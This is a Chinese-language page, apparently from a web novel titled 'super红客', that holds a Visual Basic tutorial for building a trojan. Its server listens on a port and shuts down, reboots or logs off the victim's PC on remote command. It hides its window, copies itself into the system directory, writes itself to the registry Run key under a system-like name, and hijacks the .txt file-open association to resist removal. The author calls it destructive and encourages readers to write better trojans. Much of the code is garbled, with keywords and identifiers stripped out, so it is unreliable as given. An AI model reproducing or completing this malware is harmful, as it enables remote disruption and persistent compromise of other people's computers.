书名:super红客

利用vb实现木马攻击

海棠书屋备用网站
    首先,新建一工程,名为server,新建一个窗体,name为server,在窗体中加入一个insock控件,name设为sckserver,协议设为默认的tcp/ip协议。

    接下来我们回来server窗体模块中,添加如下代码:

    privatesubform_load

    ith

    .=88917本地端口(呵呵!我的生日!)

    .开始监听

    endith

    endsub

    接受客户端的连接请求。

    privatesubsckserver_erequest(byvalrequestidlong)

    ith

    .

    .(requestid)

    endith

    endsub

    下面我们来建立客户端程序:新建一个工程,名为t,把窗体名为t,在上面加入一个insock控件,名为sckt,协议为tcp/ip协议。再加一个按钮cmdect在窗体模块中加入代码:

    privatesubform_load

    ith

    .=“127.0.0.1“设置远程ip,本例设为本机。

    .=88917远程端口,就为server中的设置一样.

    endith

    endsub

    privatesubcmdect_clic

    endsub

    至此,单击ect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在t中的sckt_ect事件中加入代码:“ionsuccessful!”来查看。

    这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!

    在server工程中新建一个模块,name为modapi,这个模快为一些api函数,添加如下api函数:

    publicdeclarefuindoxxxlib“user32“alias“exitindoxxx“(byvaluflagslong,byvaldreservedlong)long

    publistex_logoff=0

    publistex_reboot=2

    publistex_shutdon=1

    publicdeclarefunclipcursorlib“user32“alias“clipcursor“(lprey)long

    publictyperect

    leftlong

    toplong

    rightlong

    bottomlong

    endtype

    注:在两个socket中编程中,进行通信的重要事件是dataarrival事件,用于接收远程数据。

    下面在t工程的t窗体中放入三个按钮,分别为cmdexit,cmdlogoff,cmdreboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:

    privatesubcmdexit_click

    me.“exit“

    endsub

    privatesubcmdlogoff_click

    me.“logoff“

    endsub

    privatesubcmdreboot_click

    me.“reboot“

    endsub

    全都是对服务端发出请求。下面转到server工程中:在server中添加sckserver的dataarrial事件,接收客户端的请求。

    privatesubsckserver_dataarrival(byvalbytestotallong)

    dimstrdatastring

    ith

    接收客户请求的信息

    .strdata

    selectcasestrdata

    case“exit“

    关机

    callexitindoxxx(ex_shutdon,0)

    case“reboot“

    重启

    callexitindoxxx(ex_reboot,0)

    case“logoff“

    注销

    callexitindoxxx(ex_logoff,0)

    e

    endith

    endsub

    好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在server中的form_load事件中加入一句:de。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

    回到server工程中的modapi中加入如下api函数:

    publicdeclarefunregopenkeylib““alias&quopenkeya“(byvalhkeylong,byvallpsubkeystring,phkresultlong)long

    publicdeclarefuvalueexlib““alias&qusetvalueexa“(byvalhkeylong,byvallpvaluering,byvalreservedlong,byvaldtypelong,lpdataany,byvalcbdatalong)long

    publicdeclarefunregcreatekeylib““alias&qucreatekeya“(byvalhkeylong,byvallpsubkeystring,phkresultlong)long

    publistreg_binary=3

    publistreg_sz=1

    publisthkey_local_mae=&h80000002

    publisthkey_classes_root=&h80000000

    写到注册表启动组中的过程。

    publicsubstartupgroup

    dimskeystring

    dimresultlong

    dimhkeyidlong

    dimskeyvalstring

    skey=“systrsy“启动组中的键,找一个与系统文件相近的。

    skeyval=“dos/system/“木马文件的路径,可以用getsystemdirectory来取得系统路径。

    result=regopenkey(hkey_local_mae,_

    “softare/microsoft/indos/currentversion/run“,hkeyid)

    result=0then

    result=regsetvalueex(hkeyid,skey,_sz,skeyval,len(skey)+1)

    end

    endsub

    好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:

    publicsubritetotxt

    dimresultlong

    dimhkeyidlong

    dimskeystring

    dimskeyvalstring

    skey=“txtfile/shell/open/mand“

    skeyval=“dos/system/“

    result=regopenkey(hkey_classes_root,skeyval,hkeyid)

    result=0then

    result=regsetvalueex(hkeyid,skey,_sz,skeyval,len(skeyval)+1)

    end

    endsub

    肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但dos/system/是哪里来的,我们的木马是dos/system/呀。这可是我们木马的分身了。

    好,回到server工程的server窗体的form_load中,加入如下代码:

    dimscurrentpathstring,ssystemdirstring

    scurrentpath=&“/“&xename&“.exe“

    ssystemdir=“dos/system”

    errorresume

    复制文件成系统目录下的

    filecopyscurrentpath,ssystemdir&“/“

    errorresume

    复制文件成系统目录下的

    filecopyscurrentpath,ssystemdir&“/“

    调用

    callstartupgroup

    callritetotxt

    判断程序是否下在运行

    then

    如果已经运行就退出。

    end

    end

    好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河(呵呵!)

    注意:

    1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突

    2、在第一次使用vb.的最好看看有关的图书,可能你能写出一款超级木马也说不定

    </p>